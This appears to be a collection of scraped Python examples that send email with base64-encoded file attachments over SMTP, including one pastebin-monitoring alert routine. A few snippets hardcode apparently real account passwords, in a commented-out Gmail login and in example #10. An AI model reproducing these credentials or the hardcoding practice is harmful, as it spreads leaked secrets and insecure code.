Пример #1
0
def send_email(to, name, file):
    import smtplib, os
    from email.MIMEMultipart import MIMEMultipart
    from email.MIMEBase import MIMEBase
    from email.MIMEText import MIMEText
    from email.Utils import COMMASPACE, formatdate
    from email import Encoders

    msg = MIMEMultipart()
    msg["Subject"] = "Your task is processed"
    msg["From"] = "poddy.org"
    msg["To"] = to

    msg.attach(MIMEText("Dear %s, thank you for using SourceAnalyzer Web!" % name))
    msg.attach(MIMEText("See in attachment."))

    part = MIMEBase("application", "octet-stream")

    f = open(file, "rb")
    part.set_payload(f.read())
    f.close()

    Encoders.encode_base64(part)
    part.add_header("Content-Disposition", 'attachment; filename="%s"' % os.path.basename(file))
    msg.attach(part)

    s = smtplib.SMTP("localhost")
    s.sendmail("*****@*****.**", [to], msg.as_string())
    s.quit()
Пример #2
0
def send_mail(send_to, subject, text, file):

    msg = MIMEMultipart()
    msg['From'] = 'ITLand.Root <*****@*****.**>'
    msg['To'] = send_to
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = subject

    msg.attach(MIMEText(text))

    part = MIMEBase('application', "octet-stream")
    part.set_payload(open(file, "rb").read())
    Encoders.encode_base64(part)
    part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file))
    msg.attach(part)

    #server = smtplib.SMTP('smtp.gmail.com:587')
    #server.starttls()
    #server.login('jenko.kov', 'efi42dekut')
    #server.sendmail(send_from, send_to, msg.as_string())
    #server.quit()

    server = smtplib.SMTP('172.16.10.254:25')
    server.sendmail(send_from, send_to, msg.as_string())
    server.quit()
def send_mail(_from_, to_, subject, text, files=None, server=config.MAIL_SERVER, port=config.MAIL_SERVER_PORT):
    assert isinstance(to_, (list, tuple))

    if files is None:
        files = []

    msg = MIMEMultipart()
    msg['From'] = _from_
    msg['To'] = COMMASPACE.join(to_)
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = subject

    msg.attach( MIMEText(text) )

    for file_name, file_content in files:
        part = MIMEBase('application', "octet-stream")
        part.set_payload( file_content )
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"'
                       % file_name)
        msg.attach(part)

    smtp = smtplib.SMTP(server, port=port)
    smtp.sendmail(_from_, to_, msg.as_string() )
    smtp.close()
Пример #4
0
def send_mail(send_from, send_to, subject, text, files=[], html=None, server="localhost"):
  assert type(send_to)==list
  assert type(files)==list

  if html:
    msg = MIMEMultipart('alternative')
    textbody = dehtml(text)
    part1 = MIMEText(textbody, 'plain')
    part2 = MIMEText(text, 'html')
    msg.attach(part1)
    msg.attach(part2)
  else:  
    msg = MIMEMultipart()
    msg.attach( MIMEText(text) )

  msg['From'] = send_from
  msg['To'] = COMMASPACE.join(send_to)
  msg['Date'] = formatdate(localtime=True)
  msg['Subject'] = subject
  
  for f in files:
    part = MIMEBase('application', "octet-stream")
    part.set_payload( open(f,"rb").read() )
    Encoders.encode_base64(part)
    part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f))
    msg.attach(part)

  smtp = smtplib.SMTP(server)
  smtp.sendmail(send_from, send_to, msg.as_string())
  smtp.close()
Пример #5
0
def mail(to, subject, text, attach):
    msg = MIMEMultipart()

    print gmail_user
    msg['From'] = gmail_user
    realToString=''
    for s in to:
        realToString = realToString + s + ","
#    print realToString,to, [gmail_user]+[]+to
    msg['To'] = gmail_user#realToString
    msg['Subject'] = subject

    msg.attach(MIMEText(text))


    #attach each file in the list
    for file in attach:
        part = MIMEBase('application', 'octet-stream')
        part.set_payload(open(file, 'rb').read())
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition',
                'attachment; filename="%s"' % os.path.basename(file))
        msg.attach(part)

    mailServer = smtplib.SMTP("smtp.gmail.com", 587)
    mailServer.ehlo()
    mailServer.starttls()
    mailServer.ehlo()
    mailServer.login(gmail_user, gmail_pwd)
    mailServer.sendmail(gmail_user, [gmail_user]+[]+to, msg.as_string())
    # Should be mailServer.quit(), but that crashes...
    mailServer.close()
def mail(to, subject, text, attach):
   msg = MIMEMultipart()

   msg['From'] = gmail_user
   msg['To'] = to
   msg['Subject'] = subject

   msg.attach(MIMEText(text))

   part = MIMEBase('application', 'octet-stream')
   part.set_payload(open(attach, 'rb').read())
   Encoders.encode_base64(part)
   part.add_header('Content-Disposition',
           'attachment; filename="%s"' % os.path.basename(attach))
   print os.path.basename
   msg.attach(part)

   mailServer = smtplib.SMTP("smtp.gmail.com", 587)
   mailServer.ehlo()
   mailServer.starttls()
   mailServer.ehlo()
   mailServer.login(gmail_user, gmail_pwd)
   mailServer.sendmail(gmail_user, to, msg.as_string())
   # Should be mailServer.quit(), but that crashes...
   mailServer.close()
def sendEmail(to, subject, text, files=[]):
        assert type(to)==list
        assert type(files)==list

        msg = MIMEMultipart()
        msg['From'] = USERNAME
        msg['To'] = COMMASPACE.join(to)
        msg['Date'] = formatdate(localtime=True)
        msg['Subject'] = subject

        msg.attach( MIMEText(text) )

        for file in files:
                part = MIMEBase('application', "octet-stream")
                part.set_payload(open(file, "rb").read() )
                Encoders.encode_base64(part)
                part.add_header('Content-Disposition', 'attachment; filename="%s"'% os.path.basename(file))
                msg.attach(part)

                server = smtplib.SMTP('smtp.gmail.com:587')
                server.ehlo_or_helo_if_needed()
                server.starttls()
                server.ehlo_or_helo_if_needed()
                server.login(USERNAME,PASSWORD)
                server.sendmail(USERNAME, MAILTO, msg.as_string())
                server.quit()
Пример #8
0
def send_email_csv_attach(toaddrs, mail, csv_fn, fromaddr=EMAIL_SENDER_ADDR):
    msg = MIMEMultipart()
    msg['From'] = fromaddr
    msg['To'] = toaddrs
    msg['Subject'] = 'please check attached csv file for cr status'
    msg.preamble = 'You will not see this in a MIME-aware mail reader.\n'
    # To guarantee the message ends with a newline
    msg.epilogue = ''

    #body
    text = MIMEText(mail)
    msg.attach(text)

    #attachment
    csv = MIMEBase('text', 'x-comma-separated-values')
    fp = open(csv_fn, 'rb')
    csv.set_payload(fp.read())
    Encoders.encode_base64(csv)
    csv.add_header('Content-Disposition', 'attachment', filename=os.path.basename(csv_fn))
    msg.attach(csv)

    server = smtplib.SMTP('remotesmtp.mot.com')
    server.set_debuglevel(1)
    server.sendmail(fromaddr, toaddrs, msg.as_string())
    server.quit()
Пример #9
0
    def get_mail_text(self, fields, request, **kwargs):
        """ Get header and body of e-amil as text (string)
            This will create both parts of the e-mail: text and the XML file
        """

        headerinfo, additional_headers, body = self.get_header_body_tuple(fields, request, **kwargs)
        body_xml = self.get_mail_text_in_xml(fields, request, **kwargs)

        self.safe_xml_in_filesystem(body_xml)

        mime_text = MIMEText(body, _subtype=self.body_type or 'html', _charset=self._site_encoding())
        attachments = self.get_attachments(fields, request)

        outer = MIMEMultipart()
        outer.attach(mime_text)

        # write header
        for key, value in headerinfo.items():
            outer[key] = value

        # write additional header
        for a in additional_headers:
            key, value = a.split(':', 1)
            outer.add_header(key, value.strip())

        for attachment in attachments:
            filename = attachment[0]
            ctype = attachment[1]
            encoding = attachment[2]
            content = attachment[3]

            if ctype is None:
                ctype = 'application/octet-stream'

            maintype, subtype = ctype.split('/', 1)

            if maintype == 'text':
                msg = MIMEText(content, _subtype=subtype)
            elif maintype == 'image':
                msg = MIMEImage(content, _subtype=subtype)
            elif maintype == 'audio':
                msg = MIMEAudio(content, _subtype=subtype)
            else:
                msg = MIMEBase(maintype, subtype)
                msg.set_payload(content)
                # Encode the payload using Base64
                Encoders.encode_base64(msg)

            # Set the filename parameter
            msg.add_header('Content-Disposition', 'attachment', filename=filename)
            outer.attach(msg)

        ctype = 'application/octet-stream'
        maintype, subtype = ctype.split('/', 1)
        p = MIMEBase(maintype, subtype)
        p.set_payload(body_xml)
        p.add_header('content-disposition', 'attachment', filename='form.xml')
        Encoders.encode_base64(p)
        outer.attach(p)
        return outer.as_string()
Пример #10
0
    def send_mail(send_from, send_to, subject, text, files=[], server="localhost"):
        assert type(send_to)==list
        assert type(files)==list

        msg = MIMEMultipart()
        msg['From'] = send_from
        msg['To'] = COMMASPACE.join(send_to)
        msg['Date'] = formatdate(localtime=True)
        msg['Subject'] = subject

        msg.attach( MIMEText(text) )

        for f in files:
            part = MIMEBase('application', "octet-stream")
            part.set_payload( open(f,"rb").read() )
            Encoders.encode_base64(part)
            part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f))
            msg.attach(part)

        #Set Email smtp parameters
        smtp = smtplib.SMTP('smtp.gmail.com:587')
        smtp.starttls()
        smtp.login('*****@*****.**', 'pythonheat1')
        smtp.sendmail(send_from, send_to, msg.as_string())
        smtp.close()
Пример #11
0
def mail(to, subject, text, attach=None, image=None):
   msg = MIMEMultipart()
   msg['From'] = GMAIL_USER
   msg['To'] = to
   msg['Subject'] = subject
   msg.attach(MIMEText(text))
   if attach:
      part = MIMEBase('application', 'octet-stream')
      with open(attach, 'rb') as f:
        part.set_payload(f.read())
      Encoders.encode_base64(part)
      part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(attach))
      msg.attach(part)
   if image:
       with open(image, 'rb') as f:
         part = MIMEImage(f.read(), name=os.path.basename(image))
       msg.attach(part)

   mailServer = smtplib.SMTP("smtp.gmail.com", 587)
   mailServer.ehlo()
   mailServer.starttls()
   mailServer.ehlo()
   mailServer.login(GMAIL_USER, GMAIL_PWD)
   mailServer.sendmail(GMAIL_USER, to, msg.as_string())
   mailServer.close()
Пример #12
0
    def sendmail(self, destination, subject, message, attach = None):        
        try:
            msg = MIMEMultipart()

            msg['From'] = self.username
            msg['Reply-to'] = self.username
            msg['To'] = destination
            msg['Subject'] = subject

            msg.attach(MIMEText(message))

            if attach:
                part = MIMEBase('application', 'octet-stream')
                part.set_payload(open(attach, 'rb').read())
                Encoders.encode_base64(part)
                part.add_header('Content-Disposition',
                'attachment; filename="%s"' % os.path.basename(attach))
                msg.attach(part)

            mailServer = SMTP("smtp.gmail.com", 587)
            mailServer.ehlo()
            mailServer.starttls()
            mailServer.ehlo()
            try:
                mailServer.login(self.username, self.password)
                mailServer.sendmail(self.username, destination, msg.as_string())
            finally:
                mailServer.close()
        except Exception, exc:
            sys.exit("Failed to send mail; %s" % str(exc))
Пример #13
0
def mail(to, frm, subject, text, attach, smtphost, smtpuser, smtppass):
   msg = MIMEMultipart()

   msg['From'] = frm
   msg['To'] = to
   msg['Subject'] = subject

   msg.attach(MIMEText(text))
	
   if attach:
     part = MIMEBase('application', 'octet-stream')
     part.set_payload(open(attach, 'rb').read())
     Encoders.encode_base64(part)
     part.add_header('Content-Disposition',
        'attachment; filename="%s"' % os.path.basename(attach))
     msg.attach(part)

   mailServer = smtplib.SMTP(smtphost, 587)
   mailServer.ehlo()
   mailServer.starttls()
   mailServer.ehlo()
   mailServer.login(smtpuser, smtppass)
   mailServer.sendmail(smtpuser, to, msg.as_string())
   # todo, we should keep server open if we send a list of emails, do this on a to user bases for lists
   # Should be mailServer.quit(), but that crashes...
   mailServer.close()
Пример #14
0
def sendMail(message, encoding='utf-8'):
    msg = MIMEMultipart('alternative')
    msg['Subject'] = Header(MAIL_TITLE.encode(encoding), encoding)
    msg['From'] = SENDER
    msg['To'] = SENDER
    text = message
    msg.attach(MIMEText(text.encode(encoding), 'html', encoding))
    # Attach file if specified
    if FILE_JOINED:
        part = MIMEBase('application', 'octet-stream')
        part.set_payload(open(FILE_JOINED, 'rb').read())
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"' %
            FILE_JOINED.split("/")[-1])
        msg.attach(part)
    s = smtplib.SMTP(HOST, PORT)
    s.starttls()
    s.login(SENDER, SENDER_PASSWORD)
    try:
        s.sendmail(SENDER, SENDER, msg.as_string())
    except:
        s.quit()
        return  '%s Failed to send mail' % (SENDER)

    s.quit()
    return '%s / mail sent !' % (SENDER)
Пример #15
0
def mail(to, subject, text, attach=None):
   msg = MIMEMultipart()

   msg['From'] = email_settings.email_from_addr
   msg['To'] = to
   msg['Subject'] = subject

   msg.attach(MIMEText(text))
  
   if attach:
       print attach
       print os.path.normpath(attach)
       fp = open(attach, 'r')
       msg.attach(MIMEText(fp.read()))# Put the attachment in line also
       fp.close()

       part = MIMEBase('application', 'octet-stream')
       part.set_payload(open(attach, 'rb').read())
       Encoders.encode_base64(part)
       part.add_header('Content-Disposition',
               'attachment; filename="%s"' % os.path.basename(attach))
       msg.attach(part)
   mailServer = smtplib.SMTP("smtp.gmail.com", 587)
   mailServer.ehlo()
   mailServer.starttls()
   mailServer.ehlo()
   mailServer.login(email_settings.email_from_addr, email_settings.gmail_pwd)
   mailServer.sendmail(email_settings.email_from_addr, to, msg.as_string())
   # Should be mailServer.quit(), but that crashes...
   mailServer.close()
Пример #16
0
def send_mail(send_to, subject, text, files=[], server='localhost',
        username=None, password=None):

    send_from = '*****@*****.**'

    msg = MIMEMultipart()
    msg['From'] = send_from
    msg['To'] = COMMASPACE.join(send_to)
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = subject

    msg.attach(MIMEText(text))

    for f in files:
        part = MIMEBase('application', 'octet-stream')
        part.set_payload(open(f, 'rb').read())
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition',
                'attachment; filename="%s"' % basename(f))
        msg.attach(part)

    smtp = SMTP(server)
    if username is not None:
        smtp.login(str(username), str(password))

    smtp.sendmail(send_from, send_to, msg.as_string())
    smtp.close()
Пример #17
0
def mail(to, cc, subject, text, attach):
    '''Sends email from [email protected]'''
    username = "******"
    password = "******"
    msg = MIMEMultipart()

    msg['From'] = username
    msg['To'] = ", ".join(to)
    msg['Subject'] = subject
    msg['Cc'] = ", ".join(cc)

    msg.attach(MIMEText(text))

    part = MIMEBase('application', 'octet-stream')
    part.set_payload(open(attach, 'rb').read())
    Encoders.encode_base64(part)
    part.add_header('Content-Disposition',
                    'attachment; filename="%s"' % os.path.basename(attach))
    msg.attach(part)

    mailServer = smtplib.SMTP("smtp.fordfound.org", 25)
    mailServer.ehlo()
    mailServer.starttls()
    mailServer.ehlo()
    mailServer.login(username, password)
    mailServer.sendmail(username, to+cc, msg.as_string())
    mailServer.close()
Пример #18
0
def sendEmail(send_from, send_to, subject, text, cc_to=[], files=[], server="192.168.42.13"):
    assert type(send_to)==list
    assert type(files)==list

    msg=MIMEMultipart()
    msg.set_charset("utf-8")
    msg['From']=send_from
    msg['To']=COMMASPACE.join(send_to)

    if cc_to:
        assert type(cc_to)==list
        msg['cc']=COMMASPACE.join(cc_to)
        send_to.extend(cc_to)

    msg['Date']=formatdate(localtime=True)
    msg['Subject']=subject

    msg.attach(MIMEText(text))

    for f in files:
        part=MIMEBase('application', "octet-stream")
        part.set_payload(open(f, "rb").read())
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"'%Header(os.path.basename(f), 'utf-8'))
        msg.attach(part)

    smtp=smtplib.SMTP(server)
    smtp.sendmail(send_from, send_to, msg.as_string())
    smtp.close()
Пример #19
0
def send_mail(send_from, send_to, subject, text, files=[], server="localhost"):
    import smtplib
    import os
    from email.MIMEMultipart import MIMEMultipart
    from email.MIMEBase import MIMEBase
    from email.MIMEText import MIMEText
    from email.Utils import COMMASPACE, formatdate
    from email import Encoders
    assert type(send_to)==list
    assert type(files)==list

    msg = MIMEMultipart()
    msg['From'] = send_from
    msg['To'] = COMMASPACE.join(send_to)
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = subject

    msg.attach( MIMEText(text) )

    for f in files:
        part = MIMEBase('application', "octet-stream")
        part.set_payload( open(f,"rb").read() )
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f))
        msg.attach(part)
  
    smtp = smtplib.SMTP(server)
    smtp.sendmail(send_from, send_to, msg.as_string())
    smtp.close()
Пример #20
0
def load_attachment(file):
    part = MIMEBase("application", "octet-stream")
    part.set_payload(open(file, "rb").read())
    Encoders.encode_base64(part)
    part.add_header("Content-Disposition", 'attachment; filename="%s"' % os.path.basename(file))

    return part
Пример #21
0
def SendEmail(fPaths, isAttachmt, body, toList, ccList, bccList, subject):
	
	HOST = "cormailgw.raleighnc.gov"
	#FROM = "*****@*****.**"
	FROM = "*****@*****.**"
	TO = toList
	CC = ccList
	BCC = bccList
	msg = MIMEMultipart()
	msg['FROM'] = FROM 
	msg['TO'] = TO
	msg['CC'] = CC
	msg['BCC'] = BCC
	msg['Date'] = formatdate(localtime = True)
	msg['Subject'] = subject
	msg.attach(MIMEText(body))
	if isAttachmt:
		for fPath in fPaths:
			part = MIMEBase('text/plain', 'octet-stream')
			part.set_payload(open(fPath, 'rb').read())
			Encoders.encode_base64(part)
			part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(fPath))
			msg.attach(part)
			print ("message attached")
	server = smtplib.SMTP(HOST)
	print ("Connected to server")
	server.sendmail(FROM, TO.split(",") + CC.split(",") + BCC.split(","), msg.as_string())
	print ("Sending Email...")
	server.close()
	for fPath in fPaths:
		os.remove(fPath)	
	print ("Email sent")
Пример #22
0
    def sendEmailAlert(self):
        msg = MIMEMultipart()
        alert = "Found hit for {matches} in pastie {url}".format(matches=self.matchesToText(), url=self.url)
        # headers
        msg['Subject'] = yamlconfig['email']['subject'].format(subject=alert)
        msg['From'] = yamlconfig['email']['from']
        msg['To'] = yamlconfig['email']['to']
        # message body
        message = '''
I found a hit for a regular expression on one of the pastebin sites.

The site where the paste came from :        {site}
The original paste was located here:        {url}
And the regular expressions that matched:   {matches}
The paste has also been attached to this email.

# LATER below follows a small exerpt from the paste to give you direct context

        '''.format(site=self.site.name, url=self.url, matches=self.matchesToRegex())
        msg.attach(MIMEText(message))
        # original paste as attachment
        part = MIMEBase('application', "octet-stream")
        part.set_payload(self.pastie_content)
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s.txt"' % (self.id))
        msg.attach(part)
        # send out the mail
        try:
            s = smtplib.SMTP(yamlconfig['email']['server'], yamlconfig['email']['port'])
            if 'username' in yamlconfig['email'] and yamlconfig['email']['username']:
                s.login(yamlconfig['email']['username'], yamlconfig['email']['password'])
            s.sendmail(yamlconfig['email']['from'], yamlconfig['email']['to'], msg.as_string())
            s.close()
        except smtplib.SMTPException, e:
            logger.error("ERROR: unable to send email: {0}".format(e))
Пример #23
0
    def attach(self, filename, mime=None, charset=None, content=None):
        """Attach files to this message.

        Example::

            msg.attach("me.png", mime="image/png")

        It also supports fake attachments::

            msg.attach("fake.txt", mime="text/plain", content="gotcha")
        """
        base = os.path.basename(filename)
        if content is None:
            fd = open(filename)
            content = fd.read()
            fd.close()
        elif not isinstance(content, types.StringType):
            raise TypeError("Don't know how to attach content: %s" % repr(content))

        part = MIMEBase("application", "octet-stream")
        part.set_payload(content)
        Encoders.encode_base64(part)
        part.add_header("Content-Disposition", "attachment", filename=base)

        if mime is not None:
            part.set_type(mime)

        if charset is not None:
            part.set_charset(charset)

        if self.msg is None:
            self.msg = MIMEMultipart()
            self.msg.attach(self.message)

        self.msg.attach(part)
Пример #24
0
    def attach(self, filename, mime=None, charset=None, content=None):
        base = os.path.basename(filename)
        if content is None:
            fd = open(filename)
            content = fd.read()
            fd.close()

        if not isinstance(content, types.StringType):
            raise TypeError("don't know how to handle content: %s" % type(content))
        
        part = MIMEBase("application", "octet-stream")
        part.set_payload(content)
        Encoders.encode_base64(part)
        part.add_header("Content-Disposition", "attachment; filename=\"%s\"" % base)
        
        if mime is not None:
            part.set_type(mime)

        if charset is not None:
            part.set_charset(charset)

        if self.msg is None:
            self.msg = MIMEMultipart()
            self.msg.attach(self.message)

        self.msg.attach(part)
Пример #25
0
	def send_report( self, subject, body, attachment, apptype='x/zip'):
		"""
		Send the email report to its destination.

		@type   to:     string
		@param  to:     Destination email address for the report.
		@type   subject:    string
		@param  subject:    The subject of the email message.
		@type   body:       string
		@param  body:       The body of the email message (includes report summary).
		@type   attachment: string
		@param  attachment: Path to report file for attaching to message.
		@type   apptype:    string
		@param  apptype:    Application MIME type for attachment.
		"""
		message             = MIMEMultipart()
		message['From']     = self.emailfrom
		message['To']       = self.emailto
		message['Subject']  = subject

		message.attach( MIMEText( body ))
		part = MIMEBase('application',apptype)
		part.set_payload( open( attachment, 'r').read())
		Encoders.encode_base64(part)
		part.add_header('Content-Disposition','attachment; filename="%s"' % os.path.basename(attachment))
		message.attach(part)

		conn = smtplib.SMTP(self.smtpserver, self.smtpport)
		conn.sendmail( message['From'], self.emailto, message.as_string())
		conn.close()
Пример #26
0
def sendmail(subject):
    MAIL_FROM = '*****@*****.**'
    MAIL_TO = ['*****@*****.**']
    BAK_DIR = '/path/to/bak/folder'

    msg = MIMEMultipart()
    msg['From'] = MAIL_FROM
    msg['Subject'] = subject

    msg.attach( MIMEText('test send attachment') )
    for filename in os.listdir(BAK_DIR):
        part = MIMEBase('application', "octet-stream")
        part.set_payload(open(os.path.join(BAK_DIR, filename),"rb").read() )
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(filename))
        msg.attach(part)

    try:
        smtp = ExtendedSMTP()
        smtp.callback = callback
        smtp.connect('smtp.qq.com', 25)
        smtp.login('mymail', 'mypwd')
        smtp.sendmail(MAIL_FROM, MAIL_TO, msg.as_string())
        smtp.close()
        os.system('rm -f %s/*' % BAK_DIR)
    except Exception, e:
        print e
Пример #27
0
def send_mail(send_from, send_to, subject, text, files=[], server="localhost",password=None,user=None):
  if type(send_to) in types.StringTypes: send_to = [send_to]
  if files is None: files = []
  assert type(files)==list

  msg = MIMEMultipart()
  msg['From'] = send_from
  msg['To'] = COMMASPACE.join(send_to)
  msg['Date'] = formatdate(localtime=True)
  msg['Subject'] = subject

  msg.attach( MIMEText(text) )

  for f in files:
    part = MIMEBase('application', "octet-stream")
    content = open(f, 'rb').read()
    part.set_payload(content)
    Encoders.encode_base64(part)
    part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f))
    msg.attach(part)

  smtp = smtplib.SMTP(server)
  if password:
    if not user: user = msg['From']
    smtp.starttls()  
    smtp.login(user,password)      
  smtp.sendmail(send_from, send_to, msg.as_string())
  smtp.close()
Пример #28
0
def send_mail(send_from, send_to, subject, text, files=[], server='smtp.typa.ru'):
	from smtplib import SMTP
	from os import path
	from email.MIMEMultipart import MIMEMultipart
	from email.MIMEBase import MIMEBase
	from email.MIMEText import MIMEText
	from email.Utils import COMMASPACE, formatdate
	from email import Encoders
	from email.header import Header

	assert type(send_to)==list
	assert type(files)==list
	msg = MIMEMultipart()
	msg['From'] = Header(send_from.decode("utf-8")).encode()
	msg['To'] = Header(COMMASPACE.join(send_to).decode("utf-8")).encode()
	msg['Date'] = formatdate(localtime=True)
	msg['Subject'] = Header(subject.decode("utf-8")).encode()
	msg.attach( MIMEText(text,'plain','UTF-8') )

	for f in files:
		part = MIMEBase('application', "octet-stream")
		part.set_payload( open(f,"rb").read() )
		Encoders.encode_base64(part)
		part.add_header('Content-Disposition', 'attachment; filename="%s"' % path.basename(f))
		msg.attach(part)
	smtp = SMTP(server, 25)
	smtp.sendmail(send_from, send_to, msg.as_string())
	smtp.close()		
Пример #29
0
    def append(self, content=None, content_file_path=None, content_encondig=None, filename=None, content_type=None, **kwargs):
        if content_file_path:
            if content_type == None:
                (content_type, content_encondig) = mimetypes.guess_type(content_file_path, strict=False)
            if content == None:
                with open(content_file_path, 'r') as fh:
                    content = fh.read()

        content_class = content.__class__.__name__
        if content_class in self.mapper:
            message = self.mapper[content_class](self, content, **kwargs)
        else:
            if not content_type:
                content_type = guess_mime_type(content, 'binary/octet-stream')
            (maintype, subtype) = content_type.split('/')
            if maintype == 'text':
                message = MIMEText(content, _subtype=subtype)
            else:
                message = MIMEBase(maintype, subtype)
                message.set_payload(content)
                #Dont base64 encode rfc822 message, they will not be parsed
                if not content_type == 'message/rfc822':
                    Encoders.encode_base64(message)
            
        if content_encondig != None:
            message['Content-Encoding'] =  content_encondig
        if filename != None:
            message.add_header('Content-Disposition', 'attachment', filename=filename)

        if message != None:
            self.message.attach(message)
        else:
            raise OSLibError("Empty part added to user_data")
Пример #30
0
def send_mail(server, port, account, password, tls, _from, to, subject, message, files):
    conn = smtplib.SMTP(server, port, timeout=settings.SMTP_TIMEOUT)
    if tls:
        conn.starttls()
    
    if account and password:
        conn.login(account, password)
    
    email = MIMEMultipart()
    email['Subject'] = subject
    email['From'] = _from
    email['To'] = ', '.join(to)
    email.attach(MIMEText(message))
    
    for file in reversed(files):
        part = MIMEBase('image', 'jpeg')
        with open(file, 'rb') as f:
            part.set_payload(f.read())
        
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file))
        email.attach(part)
    
    if files:
        logging.debug('attached %d pictures' % len(files))

    logging.debug('sending email message')
    conn.sendmail(_from, to, email.as_string())
    conn.quit()
Пример #31
0
def forge_email(fromaddr,
                toaddr,
                subject,
                content,
                html_content='',
                html_images=None,
                usebcc=False,
                header=None,
                footer=None,
                html_header=None,
                html_footer=None,
                ln=CFG_SITE_LANG,
                charset=None,
                replytoaddr="",
                attachments=None):
    """Prepare email. Add header and footer if needed.
    @param fromaddr: [string] sender
    @param toaddr: [string or list-of-strings] list of receivers (if string, then
                   receivers are separated by ',')
    @param usebcc: [bool] True for using Bcc in place of To
    @param subject: [string] subject of the email
    @param content: [string] content of the email
    @param html_content: [string] html version of the email
    @param html_images: [dict] dictionary of image id, image path
    @param header: [string] None for the default header
    @param footer: [string] None for the default footer
    @param ln: language
    @charset: [string] the content charset. By default is None which means
    to try to encode the email as ascii, then latin1 then utf-8.
    @param replytoaddr: [string or list-of-strings] to be used for the
                        reply-to header of the email (if string, then
                        receivers are separated by ',')
    @param attachments: list of paths of files to be attached. Alternatively,
        every element of the list could be a tuple: (filename, mimetype)
    @return: forged email as a string"""
    if html_images is None:
        html_images = {}

    content = render_template_to_string('mail_text.tpl',
                                        content=content,
                                        header=header,
                                        footer=footer)

    if type(toaddr) is not str:
        toaddr = ','.join(toaddr)

    if type(replytoaddr) is not str:
        replytoaddr = ','.join(replytoaddr)

    toaddr = remove_temporary_emails(toaddr)

    headers = {}
    kwargs = {'to': [], 'cc': [], 'bcc': []}

    if replytoaddr:
        headers['Reply-To'] = replytoaddr
    if usebcc:
        headers['Bcc'] = toaddr
        kwargs['bcc'] = toaddr.split(',')
        kwargs['to'] = ['Undisclosed.Recipients:']
    else:
        kwargs['to'] = toaddr.split(',')
    headers['From'] = fromaddr
    headers['Date'] = formatdate(localtime=True)
    headers['User-Agent'] = 'Invenio %s at %s' % (CFG_VERSION, CFG_SITE_URL)

    if html_content:
        html_content = render_template_to_string('mail_html.tpl',
                                                 content=html_content,
                                                 header=html_header,
                                                 footer=html_footer)

        msg_root = EmailMultiAlternatives(subject=subject,
                                          body=content,
                                          from_email=fromaddr,
                                          headers=headers,
                                          **kwargs)
        msg_root.attach_alternative(html_content, "text/html")

        #if not html_images:
        #    # No image? Attach the HTML to the root
        #    msg_root.attach(msg_text)
        #else:
        if html_images:
            # Image(s)? Attach the HTML and image(s) as children of a
            # "related" block
            msg_related = MIMEMultipart('related')
            #msg_related.attach(msg_text)
            for image_id, image_path in html_images.iteritems():
                attach_embed_image(msg_related, image_id, image_path)
            msg_root.attach(msg_related)
    else:
        msg_root = EmailMessage(subject=subject,
                                body=content,
                                from_email=fromaddr,
                                headers=headers,
                                **kwargs)

    if attachments:
        from invenio.bibdocfile import _mimes, guess_format_from_url
        #old_msg_root = msg_root
        #msg_root = MIMEMultipart()
        #msg_root.attach(old_msg_root)
        for attachment in attachments:
            try:
                mime = None
                if type(attachment) in (list, tuple):
                    attachment, mime = attachment
                if mime is None:
                    ## Automatic guessing of mimetype
                    mime = _mimes.guess_type(attachment)[0]
                if mime is None:
                    ext = guess_format_from_url(attachment)
                    mime = _mimes.guess_type("foo" + ext)[0]
                if not mime:
                    mime = 'application/octet-stream'
                part = MIMEBase(*mime.split('/', 1))
                part.set_payload(open(attachment, 'rb').read())
                Encoders.encode_base64(part)
                part.add_header(
                    'Content-Disposition',
                    'attachment; filename="%s"' % os.path.basename(attachment))
                msg_root.attach(part)
            except:
                register_exception(alert_admin=True,
                                   prefix="Can't attach %s" % attachment)

    return msg_root
Пример #32
0
def send_mail(to,
              subject,
              text,
              attachments=[],
              cc=[],
              bcc=[],
              smtphost="",
              fromaddr=""):
    """ sends email, perhaps with attachment """

    if sys.version_info[0] == 2:
        from email.MIMEMultipart import MIMEMultipart
        from email.MIMEBase import MIMEBase
        from email.MIMEText import MIMEText
        from email.Utils import COMMASPACE, formatdate
        from email import Encoders
    else:
        from email.mime.multipart import MIMEMultipart
        from email.mime.base import MIMEBase
        from email.mime.text import MIMEText
        from email.utils import COMMASPACE, formatdate
        from email import encoders as Encoders
    from string import Template
    import socket
    import smtplib

    if not isinstance(to, list):
        print("the 'to' parameter needs to be a list")
        return False
    if len(to) == 0:
        print("no 'to' email addresses")
        return False

    myhost = socket.getfqdn()

    if smtphost == '':
        smtphost = get_mx_from_email_or_fqdn(myhost)
    if not smtphost:
        sys.stderr.write('could not determine smtp mail host !\n')

    if fromaddr == '':
        fromaddr = os.path.basename(__file__) + '-no-reply@' + \
           '.'.join(myhost.split(".")[-2:]) #extract domain from host
    tc = 0
    for t in to:
        if '@' not in t:
            # if no email domain given use domain from local host
            to[tc] = t + '@' + '.'.join(myhost.split(".")[-2:])
        tc += 1

    message = MIMEMultipart()
    message['From'] = fromaddr
    message['To'] = COMMASPACE.join(to)
    message['Date'] = formatdate(localtime=True)
    message['Subject'] = subject
    message['Cc'] = COMMASPACE.join(cc)
    message['Bcc'] = COMMASPACE.join(bcc)

    body = Template('This is a notification message from $application, running on \n' + \
            'host $host. Please review the following message:\n\n' + \
            '$notify_text\n\n'
            )
    host_name = socket.gethostname()
